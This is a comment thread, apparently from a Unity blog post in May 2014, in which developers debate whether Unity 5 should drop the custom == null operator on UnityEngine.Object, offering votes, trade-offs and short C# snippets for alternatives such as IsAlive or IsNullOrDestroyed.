I started looking into the underlying issue after reading the post. I decided to write a test bed to see what was going on. I’ve posted a link to the code here:
Cheers, @CodingJar
Lukas Khairon Sedlak5月 17, 2014 9:00 pm
My vote is for drop it off and add (as suggested above) IsValid method for GameObject. Operator == null should behave as it is implemented in C#. I know that you use C# as scripting language but either it should be somehow noted explicitly that during comparison of GameObject == null the outcome and behaviour is different than in vanila C# or the operator == should behave as expected.
One thing what cought my attention was this part:
);”
Ok in theory if I will create my own object lets say it Foo which extends GameObject. Will my Foo game object be managed by C# GC or do I have to manage it by my own by Object.Destroy? Can I use this “hack” for performance improvement and manage memory by my own?
Kryptos5月 17, 2014 7:23 pm
I just remembered that to check for *real* null reference it is safer (and faster) to use the built-in Object method:
if (Object.ReferenceEquals(obj, null))
So we can go for this compromise:
1. keep the current overloaded operator but fire a warning in the log as I suggested in a post above
2. Provide a IsAlive() method
3. Write a note in the documentation about it and encourage user to use Object.ReferenceEquals for null checks and IsAlive for other checks
And to answer to other posts, here is an example where you can have a destroyed object with a C# reference that is never released until the end of the game
class Test : MonoBehaviour
{
// assigned in editor
public GameObject g;
void Start()
{
DontDestroyOnLoad(this.gameObject);
Destroy(g);
}
Because of the class field, the reference is kept until the end of the
Lasse5月 17, 2014 7:21 pm
I vote for dropping. Perhaps have a scripting symbol or editor option for legacy issues but I am not sure if that would be hell to maintain. I’d guess you’d have to maintain two separate assemblies.
Gavalakis Vaggelis5月 17, 2014 7:14 pm
Just think that ALL training material will become obsolete in an instant.
The custom operator is intuitive regardless it’s shortcommings and Unity’s way is to be intuitive.
I vote to keep it regardless that I’ve come across these shortcommings once in a while.
If it would be done from the start then fine, but not now! It’s a heavy burden
Alexander Mironov5月 17, 2014 7:09 pm
I vote for dropping. I don’t realy like hidden or implicit stuff in code. “IsNullOrDestroyed” is the way to go.
Yare5月 17, 2014 6:49 pm
Needs something like this:
public static bool GameObject::IsNullOrDestroyed( GameObject go );
Which would match the style of an existing function:
public static bool String::IsNullOrEmpty( String s );
Chris5月 17, 2014 6:30 pm
As someone who uses this frequently, and as someone who isn’t a full-time programmer, I’d prefer that you did not change. As Rune and others have said, it is intuitive. I have also never encountered any issues with it being the way it is.
That being said, I’m guessing that the popular vote will go toward removing it. If this is the case, using (!gameObject) makes the most sense to me as a replacement. However, whatever you use to replace “== null”, could you please put some sort of warning prompt within Unity 5 when “== null” is used, noting that “== null” is deprecated, and recommending that the user may be looking for the new functionality instead?
Michael5月 17, 2014 6:22 pm
I agree with PATRICK BOELENS, you must keep it in any case!
Allen5月 17, 2014 5:49 pm
I vote for drop it, here’s why:
I never used == null to check to see if an object was destroyed because I never knew about the custom == operator. For this reason, there will be no upgrade problems with the code I have.
Also, if I’m not mistaken, most of the affected code would be written by developers who knew about this behaviour and they would be the most likely to know what was being talked about when it’s mentioned in the release notes.
And a major upgrade like from 4 to 5 is something that most developers will not make to an existing project until they know that they will have the time to test and update code.
Tough call, sorry you need to make it, but very happy that you’re considering it.
…But are there any other changes to the API that will occur if the custom == operator is dropped? Like, will GetComponent, etc. still behave identically? Is any of this existing behaviour counter-intuitive without the custom == operator?
Good luck!
Michael C. Neel5月 17, 2014 5:41 pm
Operator overloading can lead to all kinds of issues when it’s not clear, and I don’t think this case is clear. My vote is to drop it, then follow the pattern of the String class’s String.IsNullOrEmpty() static method with an Object.IsNullOrDestroyed() static method. This is very clear code as to what’s going on when used.
Ben Humphreys5月 17, 2014 5:27 pm
So if you remove the custom operator we will no longer be told which game object was null?
That alone sounds like reason enough to keep it. Debugging weird lifetime cases like this is hard enough as it is.
Dantus5月 17, 2014 5:22 pm
This operator overload has some ugly consequences and requires sometimes workarounds like:
// HACK: This if block is needed as a workaround for a Unity bug.
if (obj == null) {
obj = null;
}
Here is the post where you find the example to reproduce it:
Unity 5 is a major release and exactly the right time to get rid of that kind of issues.
Patrick Boelens5月 17, 2014 5:00 pm
My initial vote would be for keeping it. Unity has always praised itself on being accessible to inexperienced game developers, and this would be a significant step backwards on that front imho.
As a typical game programmer I’d imagine I woudn’t care about the inner working of the Unity engine; whether a GameObject in C# is merely a wrapper object or not. All I’d know is that var obj holds my GameObject reference, and that I need to check if it “has contents” (i.e.: isn’t null).
Besides that, I would say the better error reporting is a huge advantage and should not be taken lightly. Especially to newer users, or people casually hacking away at their game once a week or so who can’t become 100% immersed its development, this is a big deal.
Finally, out of curiousity, I’m having trouble imagining a scenario where the C++ object is destroyed, by the wrapper object still lives. Am I missing something obvious? Can someone perhaps give me a quick example?
Arnold Lopez5月 17, 2014 4:54 pm
I think a good course of action to take is to have users with their current project settings, who would download the new Unity with all it’s changes, to use a preprocessor directive at the start of every affected file to deal with any warnings or errors that are caused by not using the changed syntax. Or there can be a simple project setting that can be set to deal with any issues. In future projects, users can then have the easier choice of migrating to the new syntax rules.
Hannibalov5月 17, 2014 4:51 pm
I’d like to speak for all programmers that develop Unity plugins and would like them to work for 4.x and 5.x. Whatever you do, please make it easy for us. I do make an extensive use of if(behaviour), not so much of if(behaviour==null). I don’t mind checking all code to use one and not the other, but I will kill myself if I need to maintain 2 different versions of code just for that. And god kills a dozen kitten for every Unity developer that kills himself.
Now, seriously, would a Monobehaviour extension only compiled for 4.x do the trick? Say you drop the hack and provide an isAlive API for 5.x, then I extend MonoBehaviour class with an isAlive function with a conditional compiler only for 4.x. Would then everyone be happy?
RN5月 17, 2014 4:47 pm
I’ve always wondered why destroyed Unity.Object (via Object.Destroy) becomes null, while it should be in “destroyed/illegal state”.
So here’s the reason.
It’s not intuitive and slower.
Drop it on Unity 5.
Dimitris Gkanatsios5月 17, 2014 4:38 pm
Please drop the custom operator, standard C# please
Jason Viers5月 17, 2014 4:32 pm
After reading all the comments, I agree with Emil Johansen to not change it:
The ?? operator is already useless for GameObjects. I don’t see mcuh advantage in making == null join it in uselessness.
Developers using (obj != null) instead of (obj != null && !obj.destroyed) will be a subtle bug that will work MOST of the time. I think that will bite developers much more often and with much worse effect than the current unexpected “== is actually a custom check” and its performance impact.
IMHO the performance loss of == null is worth the developer time it saves. Unity’s main strength is its ease of use, not performance, and adding the “gotcha” of needing to check obj.destroyed too isn’t worth it.
DisposableFun5月 17, 2014 4:31 pm
You could create a static wrapper in GameObject.
GameObject.isLive(testSubject) or something. Takes a game object as “testSubject” and returns true if it’s non-null and not destroyed. Otherwise it returns false.
At least then it’s not an artificial check, and the developers just use one code pattern to check both cases.
If a developer needs to be more specific, then they can revert to the native C# == operator functionality.
Again…I think it would be bad to pull this from versions of Unity prior to version 5. It would break a ton of applications out there.
lyh15月 17, 2014 4:13 pm
Should have a switch for fast null check or safe null check,
It is more readable using if(myObject == null){ SetupMyobject()};
and it is more important that set object to null after they are destroyed.
Pete Carnac5月 17, 2014 4:09 pm
Please drop it for Unity 5. This goes for anything else similar that’s in there – prefer speed and standard C# to custom helpers like this which can just introduce red herrings during debugging.
Nezabyte5月 17, 2014 4:07 pm
I vote for dropping it and having a separate check for IsDestroyed. I didn’t realize until recently that Unity was doing doing some special stuff for == null. Before then I was really confused why things were being returned as null when I never set them to null.
Jashan5月 17, 2014 4:06 pm
Quite interesting that you bring this issue up now. IIRC, this was the first very peculiar and pretty irritating issue I ran into in Unity. Let’s see if I can find that old forum posting … wow … that was easy:
Edgardo5月 17, 2014 4:03 pm
Drop it. That’s all i’m going to say.
Jeff Sasmor5月 17, 2014 4:00 pm
make the change. There will be so many things I’ll have to change in V5 anyway, this is just another.
Joe5月 17, 2014 3:59 pm
Why does it have to be only one or the other? Why can’t you create a project setting and let the developer choose for each project. This would allow old projects to keep working unchanged and new ones to use the new way. It would give you a path to drop it completely in Unity 6 or 7.
ApoorvaJ5月 17, 2014 3:54 pm
As suggested above, why don’t you overload the == operator to check for myObject.destroyed?
That way, if you want performance (and I assume that the act of overloading itself is causing a performance hit), you can just use the .destroyed variable check.
A “pure C#” == operator is meaningless in this context because of the underlying C/C++ architecture. Most C# programmers will expect the object to be null after calling the Destroy method. In fact, I think that the custom operator implementation is intuitive and removing it would cause confusion. Even worse, most existing code bases and plugins will have to be changed.
zeppelin5月 17, 2014 3:47 pm
The closer to the C# “standard”, the better!
For such checks, prefer an extra operator (like “===”) or a static method (GameObject.IsNull) that would make the job like the old “==” operator.
And about the exception, let the Null exception go, and catch it in the editor in order to display some extra info. You certainly know which MonoBehavior is currently running when the exception happens, I guess you can add some additional info to the exception in order to help us debugging.
Kruegbert5月 17, 2014 3:45 pm
I would prefer leaving it the way it is, but I understand the meaning of getting rid of old uncleaned stuff.
However, you’ll need a lot of marketing, emails and posts to reach everybody and tell them what actually changed.
Deaw5月 17, 2014 3:36 pm
drop it.
dusho5月 17, 2014 2:14 pm
drop it.. and as suggested have both:
GameObject.IsNullOrDestroyed(…) – for negative case usage
and extension
isValid(this …) – for positive case usage
Markus Ewald5月 17, 2014 1:13 pm
I couldn’t care less about case #1. And I am having doubts that spending developer time on complex stuff like this was a good decision – better improve debugging and deliver call stacks and good error messages for NullReferenceExceptions.
Case 2, however, is important to me. My in-house dependency injection framework relies on the == operator for checking whether scene nodes used to house services still exist (got one scene node for global services, one for session service and one for scene services with different cross-scene lifetimes).
I believe removing it would still be good for consistency (and better communicate to Unity users that game object references can enter an ‘invalid’ state – not a desirable design but quite unavoidable when creating a wrapper).
However, there needs to be a replacement. I suggest something analogous to .NET’s string.IsNullOrEmpty() method. For example, GameObject.IsNullOrDestroyed()
Jules Robichaud-Gagnon5月 17, 2014 12:24 pm
I faced two bugs because of this behaviour in 5 years using Unity but they do not justify to drop the feature IMO. I think it is pretty convenient.
Bugs in question:
1. When having references to UnityEngine.Object but in System.Object variables the comparison “value != null” is not enough, we have to use “value != null && !value.Equals(null)”. Most people wont face this issue and when it happens, it is easy to find the solution on google.
2. The property “.gameObject” of the class GameObject does not crash in the editor but will in a build when the pointer is null. This one may have been avoided but it still happened and we were unable to reproduce the crash in the editor since the pointer is not really null there. An exception should have been thrown.
Ex:
public GameObject m_Foo; // <= null on the prefab
void Bar()
{
Object.Destroy( m_Foo.gameObject ); // <—- Works in the editor but crashes in a build
}
Martijn Zandvliet5月 17, 2014 11:09 am
Oh god, this is going to be 50/50, isn’t it?
Rune and Nicholas have valid points, I do like the convenience of “if(rigidbody) doSomething()”. At the same time I’ve run into a bunch of subtle problems using Object derivatives as keys in Dictionaries and such.
I’m in two minds about it now.
codemonkey5月 17, 2014 7:43 am
Those problems arise when you are trying to use a powerful programming language as a scripting language.
Drop it and do the check in two simple ways:
1 – With a static function from Object: if(check(mObject)) { /*do stuff*/ }//returns false if null
2 – With a classic C++ pointer check style if(!mObject) { /*do stuff*/ }
Federico Saldarini5月 17, 2014 7:36 am
Drop it.
And honestly, I’ll second what’s been said a lot of times: just drop the whole C#/JS/Boo thing and give as a C++ API all together. I know, I know, it’s not that easy to do at this point. But just saying, I personally find myself having to marshal in/out of C++ and Objective-C anyway.
Kurt Loeffler5月 17, 2014 7:34 am
This would mean you would have to do (obj != null && !obj.destroyed) or have a static function like IsAlive(obj) which is really messy. Would the implicit cast to bool still work if the object is actually null? The current way is definitely the most clean way of doing it. Is the performance problem because the custom operator gets called every time there is an access to the object?
Robert Cummings5月 17, 2014 7:18 am
Sorry for repeated posts but:
As a moderator, I’m willing to burn a few hours every single day educating the forum about any changes you need to do if it benefits performance, transparency (what’s really happening is one of the most important things a developer needs to know) and so on. If it means projects get broken, then your team of trusty mods has your back in order to help people with their questions. Don’t worry about changes. Unity 5 is the best possible chance, and probably the only chance for years.
We got your back guys :)
Logan Barnett5月 17, 2014 7:16 am
Any time you can make the Unity API more in-line with idiomatic .net, please do so. I have worked in Unity shops, taught a Unity class, and tried to get other .net developers to adopt Unity. I always get odd stares about doing things like making fields public for the editor. Oh hey there’s this awesome ?? Operator to make your expression more terse, but it wont work for a Unity.Object, so sometimes it gets used and other times it doesn’t. I’ve literally had my superior in a code review ask me “okay, but where does this private OnMouseDown method get called?”, and I have to explain that Unity just magically wires up methods with special names. I’ve lost quite a bit of time because I didn’t realize I’d named my method OnEnable/OnEnabled and going crazy because my code doesn’t seem to get called.
With inexperienced engineers I find myself having to explain how the .net ecosystem works outside of Unity when we inevitably reach into a .net lib.
As for thread safety, I’ve started a project called NotUnity, whose intent is to provide all of the cool stuff Unity has (like Vector3 goodies) and provide versions that don’t automatically kill the thread they are invoked from if the thread is not the blessed Unity thread.
I really love Unity, this isn’t meant to scorn – I just feel this is an area that could use a huge face lift. Breaking backwards compatibility with a major version upgrade shouldn’t be a surprise, and in this case would be much welcomed.
Robert Cummings5月 17, 2014 7:13 am
What I mean is, if dropping it results in a speed gain and consistency, then drop it already. Stop being hipster. These things don’t help newbies at all. They’ll learn with or without.
Game development has moved on. It’s not about basic any more. Teach a man to fish.
If Unity is serious about delivering the goods for AAA, it has to start acting like it internally and externally. We need speed and transparency, not fake helpers that slow the whole system down for no real benefit. Make the changes guys :)
Robert Cummings5月 17, 2014 7:09 am
Unity 5 is the place to make changes. Ignore the entire Universe and listen to wise old hippo when he says “Speed Matters.”
Raj5月 17, 2014 6:23 am
Drop it (for the reasons already mentioned).
If there any other overloaded operators, this would be a good time to evaluate those as well and determine whether or not we [the end users of Unity] should be in control of how those operators work or not.
It might force me to do a little bit more coding but at least I know what the operator(s) do because what they do will be the same thing they do outside of a Unity project.
It’s like the transmission in cars. An automatic transmission is nice, but you can never tell an automatic transmission when to shift because it decides for you. With a manual it takes slightly more effort but you gain a lot more control over your driving experience.
Throw out the automatic transmission and install the manual transmission.
willy5月 17, 2014 6:12 am
1: I kind of agree with Rune Skovbo Johansen
2: Overloading operators is not necessarily bad. I know in some c++ circles they are hated.
3: You can overload the == operator and make it call isMyObject.destroyed
Joel5月 17, 2014 5:26 am
Drop it. Everyone has already stated reasons why. It’s just another part of doing an upgrade or else staying on Unity 4 and making new games on Unity 5.
Butaca5月 17, 2014 5:18 am
Drop it (the reasons are already stated).
And please, is the perfect time to add nested prefabs (I know is off topic but is the most important feature Unity is missing).
Nicholas Francis5月 17, 2014 4:18 am
Looks like the blog killed a bunch of my template tags… Oh well, I’m sure you get the point
Nicholas Francis5月 17, 2014 4:17 am
If we can keep the bool check, I don’t really care what happens with checking against null, TBH. So far, the reason I’m hearing seems to be that in editor ONLY, this is a performance degradation (and everybody is always saying we should never check perf in editor anyways). Then there’s the ?? operator. In the bug reports that have been filed, how many people _actually_ use that?
going back to my code, I quite often do
if (collider)
DoSmth ();
if (rigidbody)
DoSmthElse ();
With Unity 5, this code would already become:
if (GetComponent ())
DoSmth ();
if (GetComponent ())
DoSmthElse ();
That’s not quite as readable (or writable for that matter). If what you’re truly proposing is that my code will end up looking like this:
if (GetComponent () != null && !GetComponent.destroyed)
DoSmth ();
if (GetComponent () != null && !GetComponent.destroyed)
DoSmthElse ();
Maybe it was time to learn if this wasn’t faster to do with a Blueprint?
Dave5月 17, 2014 3:46 am
I’m new to unity. Let me assume the custom == gets dropped starting with v5 (I hope it is – I prefer transparency over “fake” simplicity.) If I start a project in unity 4, how should I code it so it will work the same in unity 5, with respect to null checks? What are the best-practice patterns for “isFakeNull(object)” and for “isReallyNull(object)”?
Hanza5月 17, 2014 2:09 am
Drop it. Don’t stop the evolution.
Kurt N5月 17, 2014 2:04 am
If it creates more problems than it solves -drop it. I don’t have much experience with programming but I prefer simplicity and functionality. I would suggest that an easy transition or backwards compatibility be in place until at least V5
Peter5月 17, 2014 1:24 am
As soon as I saw this ““if (myObject.destroyed) {}” ” my vote was cast for keeping it as it is. I have always assumed that destroying a gameobject DID set it to null and free up the memory. I’m puzzled as to why that’s not the case. You can do noting with a destroyed object so I would make a strong case that the check for if the object is destroyed is hiding a garbage collection bug.
artemisart5月 17, 2014 1:23 am
Would it be possible to remove the custom == operator and to destroy the c# wrapper objects when you destroy the actual c++ objects by using the IDisposable interface for instance, or something from Mono ?
Rune Skovbo Johansen5月 17, 2014 1:11 am
Might as well address the remaining points as well:
-“Comparing two UnityEngine.Objects to each other or to null is slower than you’d expect.”
Do you have some profiling of a game or demo where we can see this? Stats or it didn’t happen. :)
– “The custom == operator is not thread safe, so you cannot compare objects off the main thread. (this one we could fix).”
Since this can be fixed it’s really not an argument for changing the behavior.
I’m also still trying to understand the uses cases that changing the behavior would solve. So far I’ve only heard people mention edge cases that are far more esoteric than the very common uses cases the current behavior makes simpler. What use is the object to you if it’s not null but destroyed?
Martijn Zandvliet5月 17, 2014 1:07 am
Kill it.
While the occasional convenience of this little detail has not been lost on me, I’ve spent far too many hours hunting down really obscure bugs caused by it, too.
Nathan5月 16, 2014 11:47 pm
Also, I would argue that this issue seems like it would be far easier to deal with than the “gameObject.active” behavior (activeSelf, activeInHierarchy, etc) change recently introduced.
Schmosef5月 16, 2014 11:37 pm
I like the suggestion from @Kryptos.
Seems like a good compromise.
Shkarface5月 16, 2014 11:10 pm
if we gain performance.. DO IT.
Kryptos5月 16, 2014 11:10 pm
I would not add a property like gameObject.isDestroyed because it will throw a NullReferenceException in case the reference is null.
We would have to write the checks like if (myObject != null && !myObject.destroyed) which is not good for readability.
Instead consider using an extension like :
public static void IsAlive(this Object obj)
{
return obj != null && !obj.isDestoyed;
}
Client code would have to call object.IsAlive() which is easier to understand.
On the other hand, keep for now the overloaded operator and have this operator add a message to the console in edit mode that says “operator== is obsolete, consider using IsAlive() instead”
Silentor5月 16, 2014 11:05 pm
My vote for dropping == overload. Obj.IsDestroyed is much more clear
Nathan5月 16, 2014 11:02 pm
I would say drop it for Unity 5. Making it both performant and thread safe is a big win. Unity is popular enough that people will get used to it and there will be plenty of people to inform others of this change due to things like this blogpost. Also, code like this:
if ( gameObject != null && gameObject.isAlive )
… actually makes the code more understandable as opposed to hiding things by making it easier.
So plusses for me are:
Performance
Thread Safe
Easier to understand
Can actually find if my C# object is really null
Cons are:
Will cause bugs until people get used to this (which will mostly go away in time)
Will break current projects (which will go away in time)
Make you write a few more characters of code
So, what the long term argument, it seems to me, comes down to is, “Are programmers willing to type about 10-15 more characters on their if checks”.
I also like the idea of a static method on Object such as Object.IsNullOrDestroyed(gameObject) or IsAlive or whatever :)
elias5月 16, 2014 9:21 pm
I guess take my opinion with a grain of salt since I’m not currently using Unity for anything (but plan to in the future), and I don’t have any old projects worth converting. I’d prefer to have it changed. I would like a function similar to string.IsNullOrEmpty(…) for game objects, like GameObject.IsNullOrDestroyed(…). This would still have the upgrade pain of the API change, but it’s a little easier to replace the null checks with this one condition rather than changing them to (myObject == null || myObject.destroyed).
Andrew Gratta5月 16, 2014 9:19 pm
Drop the custom == operator
Jason5月 16, 2014 9:14 pm
I say drop it. It’s a big obstacle when it comes to multithreading, which I need to make heavy use of in my game. I’ve never relied on the functionality the custom == operator provides (haven’t had to). But as others have pointed out, there are other means by which to provide such functionality.
Drop it!
Richard Fine5月 16, 2014 9:09 pm
@Rune: Ah, good point about the ?? operator still not working even *with* this change…
Juan Manuel Palacios5月 16, 2014 8:59 pm
Even though I strongly agree with @Rune that it’s much more intuitive to say that an object is “null” once it’s been destroyed (rather than saying it’s not null but have obj.destroyed set to true), I think Richard’s idea of implementing a custom convert-to-bool operator and advertising the use of “if (obj)” & “if (!obj)”, rather than “if (obj == null)” & “if (obj != null)”, is a great approach that would serve to bridge both sides of the issue.
Such an operator would allow the killing of the custom == operator and would also keep user scripting code pretty simple & clean. There’d still be the support pain of having to educate users as to way “if (obj == null)” would be undesirable, and repeat again and again and again over Twitter, blog posts, the forum, etc., that they need to replace such constructs with “if (obj)” & similar, but such are the inevitable implications of API breaking changes (specially when you’re trying to cater to novice users ;)
hessel5月 16, 2014 8:38 pm
First of: thanks for sharing these considerations, whatever the outcome it’s an interesting look into the inner workings of Unity.
I, for one, do not like magic or hidden functionality like this. I understand that there are some necessary steps and layers needed to bridge the managed and native code, but I think hiding it in overloading the == operator is poor design. I’d say that using an IsAlive method, or an IsNotNullAndAlive if you’re in a verbose mood, is the best approach, not only does it not hide its function it is also rather self documenting code. Which is good. (‘IsAlive’ leaves little to the clients imagination, ‘== null’ can mean different things to different clients)
Ideally though, you wouldn’t remove the == overload from MonoBehaviour, as stated above, that’d mess with a lot of habits and tutorials. I have no idea of this is possible, but in my perfect world you’d introduce a new, separate base class (maybe just make GameObject extendable, or ‘GameBehaviour’) that starts out as a copy of MonoBehaviour and can gradually introduce changes like these. It could serve as a beta gameobject for a while and since clients choose to use it there are no issues with backwards compatibility. It would also be a great opportunity to ditch the message implementation for Update, OnEnable, etc. and use virtual functions (or delegates) :)
rich harris5月 16, 2014 8:31 pm
I believe that you should change it, and remove the custom operator. It will mean that people will have to do a little work to their projects, and it will mean that tutorials may in places be incorrect. It will require those people to fix their scripts, and the content creators to make annotations, or edits, to their guides. This will only lead to better programming practices though, and with learning Unity, most people learn enough code to understand the differences. If they adopt good habit and write better code, they get to use an engine, at no extra cost to them, that is still accessible. Unity will be better as a result, and give the people that will need to rework projects a little more control, without barring entry to newcomers.
Patrick O'Day5月 16, 2014 8:26 pm
I’ve been tripped up by the equality overload before but I was on the fence on how useful it was until I read how the scripts couldn’t be auto-updated. The fact that the code is ambiguous; that the programmer doesn’t know if they’re testing for null or validity is a problem.
I suggest adding a static method on GameObject to test for an object’s validity instead of a bool on an instance. Similar to “string.IsNullOrEmpty(string objToTest)” tests if the passed in string is null or empty you could have “GameObject.IsValid(GameObject objToTest)” that tests against null and validity bools.
As for the editor highlighting the offending object that sounds like a nice feature but I can’t think of how it would be useful. If I dereference null then it’s a bug in the script that I need to fix and it doesn’t matter what content exposed the bug.
Rune Skovbo Johansen5月 16, 2014 8:20 pm
As to the point that the custom null check is inconsistent with the ?? operator. Yes it is. Does it matter? No. You see, you can’t really use the ?? operator with UnityEngine.Object derived classes in any case, no matter if we have the custom null check or not. You would always have to also check if the object is destroyed. So even if we remove the custom null check, the ?? operator is still worthless for these objects because it will sometimes give you an object which is not null but is destroyed, and hence just as useless.
Olivier5月 16, 2014 8:11 pm
Well, I’d say most of the Unity users are not engine programmers. It sounds like “don’t forget it’s a C++ engine”. I suppose using C# at the very beginning was “to democratize” game development and bypass the low level C++ stuff.
In fact I’d like to know the gain in performance, just to know if it’s worth the future headaches :)
Rune Skovbo Johansen5月 16, 2014 8:04 pm
To the point that the current null check is counter-intuitive: I would say the opposite. It’s exactly intuitive that an object is null once it’s destroyed. That’s why it was implemented that way in the first place.
For people who are experienced C# programmers before they learn Unity it may be different, but for all the rest having to know the logic behind garbage collection to understand if an object is null or not is certainly not intuitive. Removing the current null check would be making things a tiny bit more at home for people with a C# background at the expense of all the novices.
And for me, even though I *do* have many years of C# experience, I *still* find the current behavior more intuitive in the sense that I have to think less about the code I wrote.
Andy5月 16, 2014 8:03 pm
Well I ain’t done much coding but all the coding that I did volunteer t get involved had problems that evolved around the construct you want to drop and that I wrote code to check the actual existence of members rather than have that lazy == construct cause an exception, seemingly randomly.
I’m for dropping that construct and maybe having a isUsed that is an integer that in binary is a matrix of which members have been set or something smarter.
Richard Fine5月 16, 2014 7:45 pm
@Rune, @Matthew Hoesterey: Yeah, this is why I think this change would be OK if the convert-to-bool operator was made to do those checks for you. Maybe it’s my C++ background but I was always used to writing “if(ptr)” as a shorthand for “if(ptr != 0)” anyway…
Maybe people don’t already write things that way as commonly as I think – @Laurens Mathot certainly suggests I’m wrong – but if they’ve got to change the way they do things, changing to using the implicit bool conversion is easier than the explicit double-check, no?
Christopher5月 16, 2014 7:43 pm
Change it, if it is going to give a considerable performance gain and remove legacy bubblegum it’s worth the change.
Laurens Mathot5月 16, 2014 7:40 pm
@Rune Skovbo Johansen:
It could easily be placed in a single static helper method on UnityEngine.Object:
public static bool isValid(Object reference){ return reference != null && !reference.destroyed; }
Then you replace the old myValue == null with !isValid(myValue) in objects extending UnityEngine.Object.
Matthew Hoesterey5月 16, 2014 7:36 pm
To Rune’s point changing the code so I have to write the below would not be an ok solution:
if (myObject != null && !myObject.destroyed)
That’s just as confusing. How would anyone ever know when the script starts and the C++ ends. It is counter intuitive if I can’t check to see if an object is null. Special case stuff like this just increases your barrier to entry, Unity’s advantage over Unreal.
C# is being used as a scripting language. Keep things simple. If you really need that little bit of speed you should be writing in C++ anyway.
Dylan Bennett5月 16, 2014 7:29 pm
I vote for dropping the custom operator.
ImaginaryHuman5月 16, 2014 7:26 pm
In my opinion I don’t care. When you import an old project to a new version of Unity it
upgradesthe project and makes it not usable in the old.. surely this is where you should be
convertingthe old code if possible in some automated way, to make the logic work?
That aside, flipping a coin between this very specific technical little thing and that very specific technical little thing seems like just intellectual noise … if you are really interested in putting the customer first then get rid of them having to care at all about this issue. You have painted it as a black and white option, is there not a third way that can support both?
Beck Sebenius5月 16, 2014 7:24 pm
Breaking projects in general sucks, but if Unity never breaks projects with an update we’ll be left with Unreal 3, a steamy mess of legacy features and outdated functionality.
Just the fact that it’s inconsistent with the ?? operator is enough reason to change it. Inconsistencies like that make it really easy to create bugs. A great example of this is when adding a UnityEngine.Object as a key in a dictionary. Adding a serialized field which is empty will work – the dictionary interprets the object as non-null. However, declaring “GameObject go = null;” and then trying to add that will result in an exception (cannot add null keys to dictionaries).
Changing the functionality to be a public property makes it clear what’s happening there. In C# you might use an extension method since they can be called on null objects, so that you can use objectReference.IsValid and it won’t throw a null reference exception.
Darky5月 16, 2014 7:20 pm
I do use the == operator frequently, to set components and references at start as well as to keep track of destroyed objects. I also use the GetComponent call to see if it returns null in some instances. So I’m not sure. If we can actually still tell where we messed up, then by all means go ahead and do something like “object.destroyed”
Rune Skovbo Johansen5月 16, 2014 7:20 pm
To offer a counter point of view from a different Unity employee: I would certainly have designed it the same way again. The custom null check is saving me tons of time both as a Unity employee spending all my time writing editor code, and as a game developer on the games I’ve been working on. With it removed I would basically have to always do this instead:
if (myObject != null && !myObject.destroyed)
Which is two checks where I really only want to find out one thing: Can I safely use this reference or not? And more potential for bugs when someone forget to do both checks (and in the right order too).
The post doesn’t explain any use cases where I might want to use an object that’s not null but which is destroyed. Maybe some more details on what the use cases for this is could be supplied?
Marcelo Oliveira5月 16, 2014 7:03 pm
I think keeping the (bool) operator is enough, this is the way I check if object has been destroyed, I didn’t even knew that == had an overload.
Sean5月 16, 2014 6:52 pm
Add a new null keyword.
gameobject == cnull
or something similar.
null running via the underlying c++ engine, cnull via c# “null”
Samuel5月 16, 2014 6:40 pm
I think you should do the change and we just have to do a Control+F to “== null” and refactor it. Not a big deal…
Sean Kelly5月 16, 2014 6:38 pm
The biggest benefit to having the custom operator is in point #1. Honestly that sounds very elegant and I am for anything that helps the developer write better code. As for object disposal you should follow the pattern here and throw ObjectDisposedException if any member is accessed after the object has been disposed. So I’d say only have the custom operator in the editor where it provides the benefit and otherwise follow the Dispose pattern.
Fuzzy5月 16, 2014 6:37 pm
It’s never been advised to upgrade your projects in mid-development anyway. So if a few people really want to do it anyway they’ll just have to clean up their project this one time instead of holding everyone back in terms of performance and thread safety for a long time in the future, if it’d be changed ever then.
So i’d go for: Drop it!
Gonarch5月 16, 2014 6:30 pm
In which classes and structs of Unity this thing goes on? You made the example of GetComponent, and I’m one of those that wasn’t aware of this thing taking place.
I would say if this is too much of an hassle allocation wise, get rid of it. You have the good occasion of a close major update which is gonna break many things for backward compatibility, so this won’t hurt.
I don’t use == operator at the moment for anything, but internally I don’t know if it take place. For example if I have to get a value from a Dictionary based on a exact key, does this operator is used internally?
Emil "AngryAnt" Johansen5月 16, 2014 6:13 pm
In case it matters to you, the WeakReference check is called IsAlive, so maybe it would make sense to have this API point be named the same for consistency?
Emil "AngryAnt" Johansen5月 16, 2014 6:10 pm
Make it dead.
Though I’m torn on what the behaviour should be of executing accessors on a dead GameObject – should GetComponent explode with an exception or just return null?
Ana5月 16, 2014 6:10 pm
I say drop it only if you move the functionality to another method, such as previously mentioned IsValid.
That way we could have a == that is fast, IsValid that still has the old functionality, and IsDestroyed.
Don’t be afraid to clean up Unity! Cleaning up is always better than keeping a lot of baggage because of past decisions.
GL5月 16, 2014 6:06 pm
Why not make use of the standard IDisposable interface and create an additional property like IsDisposed. I think that it is really better to go for the standards and not including custom operators like this.
Can’t you get the information out of the ‘this pointer stackframes’ from the stack trace and connect it somehow to your c++ objects?
Somehow all this looks really like a big hack to me.
DisposableFun5月 16, 2014 5:56 pm
Yeah, changing this would break my applications, for sure. I could see it being changed as part of Unity 5 (in major revision changes, you expect this type of massive overhaul), but with versions of Unity prior to 5, the existing functionality should be maintained.
Khan-amil5月 16, 2014 5:56 pm
I’d say scrap it.
Major version shifting is likely to break things here and there, it’s not the time to worry about backward compatibility.
that said, if you could manage somehow to add as much context infos whe, there are null references, that would be great.
Nevermind5月 16, 2014 5:54 pm
@JOSH SUTPHIN: “What good is the C# wrapper object to me if there’s no C++ object backing it?”
Well, all references that this object contains are still available. More than that, if that’s the only reference, that would prevent referenced object from being unloaded. See here:
Pahe5月 16, 2014 5:49 pm
For Unity 5, I would drop it.
If you want to upgrade your project from Unity 4 you have to do work and this would be that. Maybe with 4.x could introduce this object.destroyed flag to make people aware of that problem, so if they update the engine, they will be informed about that.
To know that the null checks may not be correct remembers me a bit of old days, where memory leaks were more ofter ‘ceause “some checks” didn’t work correctly.
theotherjim5月 16, 2014 5:48 pm
I like the idea of replacing current == behavior with a function like gameObject.isValid () it provides the functionality to people that want it and keeps the == operator clean.
Novack5月 16, 2014 5:34 pm
Thanks for this post.
Drop the custom operator. My vote goes to ignore backwards compatibility if it comes to cleaning things up.
Is actually a matter of confronting framework evolution with developers comfort when upgrading. Makes no sense to prevent evolution to avoid some code side refactor.
Josh Sutphin5月 16, 2014 5:31 pm
I use the custom == operator for exactly this behavior *all the time*. Updating my projects to use .destroyed instead would take ages, and any missed instances aren’t necessarily going to fail in a cursory ops check or in obvious ways.
Plus, I think it’d be weird to to do this:
if(destroyedGameObject == null)
